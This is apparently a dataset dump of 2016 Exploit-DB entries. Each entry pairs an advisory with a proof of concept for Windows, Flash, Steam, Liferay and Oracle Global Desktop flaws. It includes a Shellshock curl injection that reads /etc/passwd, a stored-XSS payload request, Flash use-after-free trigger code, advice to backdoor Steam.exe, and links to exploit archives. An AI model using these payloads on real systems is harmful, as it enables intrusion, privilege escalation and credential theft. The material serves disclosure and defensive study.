QLWD/code_shield huggingface dataset:
标题: SolarWinds Virtualization Manager - Local Privilege Escalation EDB-ID: 39967 CVE: 2016-3643 类型: LOCAL 平台: LINUX 发布日期: 2016-06-16 漏洞利用脚本: Product: Solarwinds Virtualization Manager

Vendor: Solarwinds
Vulnerable Version(s): < 6.3.1
Tested Version: 6.3.1

Vendor Notification: April 25th, 2016
Vendor Patch Availability to Customers: June 1st, 2016
Public Disclosure: June 14th, 2016

Vulnerability Type: Security Misconfiguration
CVE Reference: CVE-2016-3643
Risk Level: High
CVSSv2 Base Score: 7.8 (CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H/E:H/RL:W/RC:C/CR:M/IR:M/AR:M/MAV:L/MAC:L/MPR:L/MUI:N/MS:C/MC:H/MI:H/MA:H)
Solution Status: Solution Available

Discovered and Provided: Nate Kettlewell, Depth Security ( https://www.depthsecurity.com/ )

-----------------------------------------------------------------------------------------------

Advisory Details:

Depth Security discovered a vulnerability in Solarwinds Virtualization Manager appliance.
This attack requires a user to have an operating system shell on the vulnerable appliance.

1) Misconfiguration of sudo in Solarwinds Virtualization Manager: CVE-2016-3643

The vulnerability exists due to the miconfiguration of sudo in that it allows any local user to use sudo to execute commands as the superuser.
A local attacker can obtain root privileges to the operating system regardless of privilege level.

-----------------------------------------------------------------------------------------------

Solution:

Solarwinds has released a hotfix to remediate this vulnerability on existing installations.

This flaw as well as several others have been corrected and that release has been put into manufacturing for new appliances.

-----------------------------------------------------------------------------------------------

Proof of Concept:

The following is an example of the commands necessary for a low-privileged user to dump the contents of the "/etc/shadow" file by using sudo.

sudo cat /etc/passwd

-----------------------------------------------------------------------------------------------

References:

[1] Solarwinds Virtualization Manager- http://www.solarwinds.com/virtualization-manager - Solarwinds Virtualization Manager provides monitoring and remediation for virtualized environments. URL: https://www.exploit-db.com/exploits/39967
标题: Microsoft Windows 7 - win32k Bitmap Use-After-Free (MS16-062) (1) EDB-ID: 39959 CVE: 2016-0171 类型: DOS 平台: WINDOWS 发布日期: 2016-06-15 漏洞利用脚本: Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=746

The attached PoC triggers a blue screen on Windows 7 with special pool enabled on win32k.sys . A reference to the bitmap object still exists in the device context after it has been deleted.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39959.zip URL: https://www.exploit-db.com/exploits/39959
标题: Microsoft Windows 7 - win32k Bitmap Use-After-Free (MS16-062) (2) EDB-ID: 39960 CVE: 2016-0173 类型: DOS 平台: WINDOWS 发布日期: 2016-06-15 漏洞利用脚本: Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=747

The attached PoC crashes 32-bit Windows 7 with special pool enabled on win32k.sys. It might take several runs in order to reproduce. Tested the PoC on a single core VM.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39960.zip URL: https://www.exploit-db.com/exploits/39960
标题: Valve Steam 3.42.16.13 - Local Privilege Escalation EDB-ID: 39888 CVE: 2016-5237 类型: LOCAL 平台: WINDOWS 发布日期: 2016-06-06 漏洞利用脚本: # Exploit Title: Valve Steam 3.42.16.13 Local Privilege Escalation
# CVE-ID: CVE-2016-5237
# Date: 5/11/52016
# Exploit Author: gsX
# Contact: gsx0r.sec@gmail.com
# Vendor Homepage: http://www.valvesoftware.com/
# Software Link: http://store.steampowered.com/about/
#Version: File Version 3.42.16.13, Built: Apr 29 2016, Steam API: v017, Steam package versions: 1461972496
# Tested on: Windows 7 Professional x64 fully updated.


1. Description:

The Steam directory located at C:\Program Files (x86)\Steam implement weak
file permissions
and allow anyone in the BUILTIN\Users windows group to modify any file in
the Steam directory and any of its child files and folders.

Since Steam is a startup application by default this makes it particularly
easy to achieve lateral/vertical privilege escalation and achieve code
execution against any user running the application.


2. Proof

C:\Program Files (x86)>icacls Steam
Steam BUILTIN\Users:(F)
      BUILTIN\Users:(OI)(CI)(IO)(F)
      NT AUTHORITY\SYSTEM:(F)
      NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(F)
      NT SERVICE\TrustedInstaller:(I)(F)
      NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
      NT AUTHORITY\SYSTEM:(I)(F)
      NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
      BUILTIN\Administrators:(I)(F)
      BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
      BUILTIN\Users:(I)(RX)
      BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
      CREATOR OWNER:(I)(OI)(CI)(IO)(F)

Successfully processed 1 files; Failed processing 0 files


3. Exploit:

Simply backdoor/replace Steam.exe or any other related exe's/dll's  with
the code you want to
run.

I would like to note that I contacted Valve on several occasions
and gave them plenty of time to reply/fix the issue before releasing this
entry. URL: https://www.exploit-db.com/exploits/39888
标题: Liferay CE < 6.2 CE GA6 - Persistent Cross-Site Scripting EDB-ID: 39880 CVE: 2016-3670 类型: WEBAPPS 平台: JSP 发布日期: 2016-06-02 漏洞利用脚本: CVE-2016-3670 Stored Cross Site Scripting in Liferay CE

1. Vulnerability Properties

Title: Stored Cross-Site Scripting Liferay CE
CVE ID: CVE-2016-3670
CVSSv3 Base Score: 4.6 (AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N)
Vendor: Liferay Inc
Products: Liferay
Advisory Release Date: 27 May 2016
Advisory URL: https://labs.integrity.pt/advisories/cve-2016-3670
Credits: Discovery by Fernando Câmara <fbc[at]integrity.pt>

2. Vulnerability Summary

Liferay is vulnerable to a stored XSS when an user is created with an
malicious payload on the FirstName field.
The javascript payload is executed when another user tries to use the
profile search section.
3. Technical Details

An XSS vulnerability was found on the Profile Search functionality,
accessible through User -> My Profile -> Search.  An attacker can set a
malicious javascript payload on his  First Name affecting anyone who
performs a search using a keyword present on his profile.

The exploitation of this vulnerability could lead to an effective way to
grab cookies (stealing sessions) from anyone that uses that search
component.

Exploitation Request: (User Registration with an malicious FirstName field)

POST /liferay/web/guest/home?p_p_id=58&p_p_lifecycle=1&p_p_state=
maximized&p_p_mode=view&_58_struts_action=%2Flogin%2Fcreate_account

Data:

_58_firstName=%22%3E%3Cscript%3Ealert%28%27xss%27%29%3C%2

The vulnerability is located on the users.jsp and as shown below the origin
is the lack of validation of user input:

line 64: <a data-value=”<%= curUserName %>” href=”javascript:;”>

4. Vulnerable Versions

< 6.2 CE GA6

5. Solution

Update to version 7.0.0 CE RC1

6. Vulnerability Timeline

    21/Jan/16 - Bug reported to Liferay
    22/Mar/16 – Bug verified by vendor
    22/Mar/16 – Bug fixed by vendor
    27/May/16 – Advisory released


7. References

    https://issues.liferay.com/browse/LPS-62387
    http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-3670 URL: https://www.exploit-db.com/exploits/39880
标题: Sun Secure Global Desktop and Oracle Global Desktop 4.61.915 - Command Injection (Shellshock) EDB-ID: 39887 CVE: 2014-6278 类型: WEBAPPS 平台: CGI 发布日期: 2016-06-06 漏洞利用脚本: # Exploit Title: ShellShock On Sun Secure Global Desktop & Oracle Global desktop
# Google Dork: intitle:Install the Sun Secure Global Desktop Native Client
# Date: 6/4/2016
# Exploit Author: lastc0de@outlook.com
# Vendor Homepage: http://www.sun.com/ & http://www.oracle.com/
# Software Link: http://www.oracle.com/technetwork/server-storage/securedesktop/downloads/index.html
# Version: 4.61.915
# Tested on: Linux

VULNERABLE FILE
http://target.com//tarantella/cgi-bin/modules.cgi

POC :
localhost@~#curl -A "() { :; }; echo; /bin/cat /etc/passwd" http://target.com/tarantella/cgi-bin/modules.cgi > xixixi.txt

localhost@~#cat xixixi.txt
which will print out the content of /etc/passwd file. URL: https://www.exploit-db.com/exploits/39887
标题: Apple QuickTime - '.mov' Parsing Memory Corruption EDB-ID: 39839 CVE: 2016-1848 类型: DOS 平台: OSX 发布日期: 2016-05-19 漏洞利用脚本: #####################################################################################

Application: Apple Quicktime

Platforms: OSX

Author: Francis Provencher of COSIG

Website: http://www.protekresearchlab.com/

Twitter: @COSIG_ @protekresearch

CVE-2016-1848

#####################################################################################

1) Introduction
2) Report Timeline
3) Technical details
4) POC

#####################################################################################

===============
1) Introduction
===============

QuickTime is an extensible multimedia framework developed by Apple Inc., capable of handling various formats of digital video, picture, sound, panoramic images, and interactivity. The classic version of QuickTime is available for Windows Vista and later, as well as Mac OS X Leopard and later operating systems. A more recent version, QuickTime X, is currently available on Mac OS X Snow Leopard and newer.

(https://en.wikipedia.org/wiki/QuickTime)

#####################################################################################

============================
2) Report Timeline
============================

2016-03-14: Francis Provencher from COSIG report issue to Apple security team;
2016-03-21: Apple security team  confirmed this issue;
2016-05-17: Apple fixed this issue;

https://support.apple.com/en-us/HT206567
#####################################################################################

============================
3) Technical details
============================

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Apple QuickTime.

User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.

The specific flaw exists within the parsing of invalid data in the mdat atom. An attacker can use this flaw to read outside the

allocated buffer, which could allow for the execution of arbitrary code in the context of the current process.

#####################################################################################

===========

4) POC

===========

http://protekresearchlab.com/exploits/COSIG-2016-19.mov
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39839.zip

############################################################################### URL: https://www.exploit-db.com/exploits/39839
标题: Adobe Flash - addProperty Use-After-Free EDB-ID: 39830 CVE: 2016-4108 类型: DOS 平台: MULTIPLE 发布日期: 2016-05-17 漏洞利用脚本: Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=801

There is a use-after-free in addProperty. If a property is added to a MovieClip object that already has a watch defined, and the watch deleted the MovieClip, it is used after it is freed.

A minimal PoC follows:

var t = this.createEmptyMovieClip( "t", 1);
t.watch("a", func);
t.addProperty("a", func, func);

function func(){
 
 trace("a");
 
 }

A sample fla and swf are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39830.zip URL: https://www.exploit-db.com/exploits/39830
标题: Adobe Flash - Type Confusion in FileReference Constructor EDB-ID: 39829 CVE: 2016-1105 类型: DOS 平台: MULTIPLE 发布日期: 2016-05-17 漏洞利用脚本: Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=799

There is a type confusion issue in the FileReference constructor. The constructor adds several properties to the constructed object before setting the type and data. If a watch is set on one of these properties, code can be called and the object can be initialized to one with a destructor before the FileReference constructor sets the object data, leading to type confusion when the object is garbage collected.

A minimal PoC is as follows:

function myfunc(){
   
   this.__proto__ = {};
   this.__proto__.__constructor__ = flash.display.BitmapData;
   super(1000, 1000);
   
   
   }
   

 function mysubclass(){
  

  this.watch("name", myfunc);
  _global.ASnative(2204, 200)(this); // FileReference constructor
  this.unwatch("name"); // let the reference free
  
  }
 }

        var a = new subclass();
        a = 0;
        // wait for GC


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39829.zip URL: https://www.exploit-db.com/exploits/39829
标题: Adobe Flash - JXR Processing Out-of-Bounds Read EDB-ID: 39824 CVE: 2016-1102 类型: DOS 平台: MULTIPLE 发布日期: 2016-05-17 漏洞利用脚本: Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=791

There is an out-of-bounds read in JXR processing. This issue is probably not exploitable, but could be used an an information leak.

To reproduce the issue, load the attach file '8' using LoadImage.swf as follows:

LoadImage.swf?img=8


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39824.zip URL: https://www.exploit-db.com/exploits/39824
标题: Adobe Flash - SetNative Use-After-Free EDB-ID: 39831 CVE: 2016-1106 类型: DOS 平台: MULTIPLE 发布日期: 2016-05-17 漏洞利用脚本: Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=800

There is a use-after-free in SetNative. If a watch is placed on a native that is initialized by SetNative, it can delete the object the set is being called on, leading to a use-after-free. A minimal PoC follows:

var t = this.createEmptyMovieClip("t", 1);
t.watch("a", func);
ASSetNative(t, 106, "a,b");
   
   
function func (){
 
 t.removeMovieClip();
 
 }

A swf and fla are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39831.zip URL: https://www.exploit-db.com/exploits/39831
标题: Adobe Flash - '.MP4' Stack Corruption EDB-ID: 39828 CVE: 2016-1096 类型: DOS 平台: MULTIPLE 发布日期: 2016-05-17 漏洞利用脚本: Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=760

The attached mp4 file causes stack corruption in flash. To load, put LoadMP42.swf on a server and load http://127.0.0.1/LoadMP42.swf?file=t.mp4.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39828.zip URL: https://www.exploit-db.com/exploits/39828
标题: Adobe Flash - Heap Overflow in ATF Processing Image Reading EDB-ID: 39827 CVE: 2016-1101 类型: DOS 平台: MULTIPLE 发布日期: 2016-05-17 漏洞利用脚本: Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=789

There is a large heap overflow in reading an ATF image to a Bitmap object. To reproduce the issue, load the attach file '4' using LoadImage.swf as follows:

LoadImage.swf?img=4


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39827.zip URL: https://www.exploit-db.com/exploits/39827
标题: Adobe Flash - Overflow in Processing Raw 565 Textures EDB-ID: 39826 CVE: 2016-1103 类型: DOS 平台: MULTIPLE 发布日期: 2016-05-17 漏洞利用脚本: Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=792

There is an overflow in the processing of raw 565 textures in ATF processing. 

To reproduce the issue, load the attach file '70' using LoadImage.swf as follows:

LoadImage.swf?img=70


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39826.zip URL: https://www.exploit-db.com/exploits/39826
标题: Adobe Flash - Out-of-Bounds Read when Placing Object EDB-ID: 39825 CVE: 2016-1104 类型: DOS 平台: MULTIPLE 发布日期: 2016-05-17 漏洞利用脚本: Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=794

There is an out of bounds read when placing a corrupt image. This issue might be exploitable, depending on what is read.

A PoC is attached. To reproduce issue, put both files on a server, and load:

http://127.0.0.1/LoadImage.swf?img=70


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39825.zip URL: https://www.exploit-db.com/exploits/39825
标题: Microsoft Windows Media Center - '.MCL' File Processing Remote Code Execution (MS16-059) EDB-ID: 39805 CVE: 2016-0185 类型: REMOTE 平台: WINDOWS 发布日期: 2016-05-12 漏洞利用脚本: Exploit Title: Microsoft Windows Media Center .MCL File Processing Remote Code Execution Vulnerability (MS16-059)

Date: May 11th, 2016

Exploit Author: Eduardo Braun Prado

Vendor Homepage : http://www.microsoft.com

Version: All prior to May 10th, 2016 update.

Tested on: Windows Media Center running on Microsoft Windows  Vista, 2008, 7, 8, 8.1

CVE:  CVE-2016-0185

Microsoft Windows Media Center (all versions prior to May 11th, 2016) contains a remote code execution upon processing specially crafted .MCL files. The vulnerability exists because Windows Media Center does not correctly processes paths in the "Run" parameter of the "Application" tag, bypassing the usual security warning displayed upon trying to run programs residing on remote (WebDAV/SMB) shares. In order to bypass the Windows Media Center security warning an attacker only needs to write the prefix "file:///" before the actual remote location. For example : file:///\\192.168.10.10\share\app.exe. However, Windows will still display an "Open File" security warning for files placed in remote locations (Internet Security Zone of IE), which can also be bypassed using a special "Control Panel Shortcut" that points to a remote DLL/CPL file. Upon pointing to a shortcut located in a remote share it is possible to run arbitrary code in the context of the currently logged on user. Note: On 64 bits Windows OSes, a 64-bits DLL should be provided, but 32-bits DLL files should work as well. A PoC MCL file is provided, which points to a default Windows share, to retrieve a special "Control Panel Shortcut", that runs a CPL file from the same location (\\127.0.0.1\c$\programdata\cpl.lnk). Notice that although the address points to the "Localhost", Windows treats it the same way as any other IP based location, placing it in the context of the IE "Internet Security Zone" (default for non-local places). The PoC CPL file only runs "cmd.exe /c calc" for demonstration purposes. Another important note is that after this Microsoft patch (May, 2016), the special "Control Panel Shortcut" does *NOT* work anymore.

Link to PoC: https://onedrive.live.com/?id=AFCB9116C8C0AAF4%21201&cid=AFCB9116C8C0AAF4#id=AFCB9116C8C0AAF4%21319&cid=AFCB9116C8C0AAF4

file is: "MS-Windows-Media-Center-May-2016-RCE-POC--Password-is-mcl.zip"
Password: mcl

EDB PoC Mirror:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39805.zip

I am also attaching the file as "MS-Windows-Media-Center-May-2016-RCE-POC--Password-is-mcl[dot]zip.txt"  (extension is txt, but it is an actual .ZIP archive, so rename to ".ZIP" upon downloading it). Archive opens successfully on any Windows version. URL: https://www.exploit-db.com/exploits/39805
标题: Adobe Reader DC 15.010.20060 - Memory Corruption EDB-ID: 39799 CVE: 2016-1077 类型: DOS 平台: MULTIPLE 发布日期: 2016-05-10 漏洞利用脚本: ########################################################################################
  
# Title: Adobe Reader DC <= 15.010.20060 - Memory corruption
# Application: Adobe Reader DC
# Version: 15.010.20060 and earlier versions
# Platform: Windows and Macintosh
# Software Link: https://acrobat.adobe.com/ca/fr/acrobat/pdf-reader.html
# Date: May 10, 2016
# CVE: CVE-2016-1077
# Author: Pier-Luc Maltais from COSIG
# Contact: https://twitter.com/COSIG_
# Personal contact: https://twitter.com/plmaltais
  
########################################################################################
  
===================
Introduction:
===================
 More powerful than other PDF software, Adobe Acrobat Reader DC is the free, trusted 
 standard for viewing, printing and annotating PDFs. And now, it’s connected to Adobe 
 Document Cloud — so it’s easier than ever to work with PDFs on computers and mobile 
 devices. (https://acrobat.adobe.com/ca/en/acrobat/pdf-reader.html)
 
########################################################################################
  
===================
Report Timeline:
===================
 2016-02-04: Pier-Luc Maltais from COSIG found the issue and report it to Adobe PSIRT.
 2016-05-10: Vendor fixed the issue (APSB16-14).
 2016-03-08: Release of this advisory.
 
########################################################################################
  
===================
Technical details:
===================
 A memory corruption occurs when Adobe Reader DC handle a specially crafted image 
 XObject, which could lead to remote code execution.
  
########################################################################################
  
==========
POC:
==========
https://plmsecurity.net/sites/plmsecurity.net/files/APSB16-14_PoC.pdf
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39799.zip
  
######################################################################################## URL: https://www.exploit-db.com/exploits/39799
标题: Microsoft Windows 7 - 'WebDAV' Local Privilege Escalation (MS16-016) (2) EDB-ID: 39788 CVE: 2016-0051 类型: LOCAL 平台: WINDOWS 发布日期: 2016-05-09 漏洞利用脚本: # Exploit Title: WebDAV Elevation of Privilege Vulnerability (MS16)-2
# Date: 8/5/2016
# Exploit Author: hex0r
# Version:WebDAV on Windows 7 84x
# CVE : CVE-2016-0051


Intro:
Credits go to koczkatama for coding a PoC, however if you run this exploit
from shell connection, not a remote desktop, the result will be getting the
privileged shell in new GUI windows.

Again Thanks to
https://github.com/koczkatamas/CVE-2016-0051
https://www.exploit-db.com/exploits/39432/

PoC:
Download the source code (C#) also there will be compiled version as well,
copy the dll file and the executable to the target machine, run it to get
SYSTEM,


Proof of Concept:
https://github.com/hexx0r/CVE-2016-0051
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39788.zip URL: https://www.exploit-db.com/exploits/39788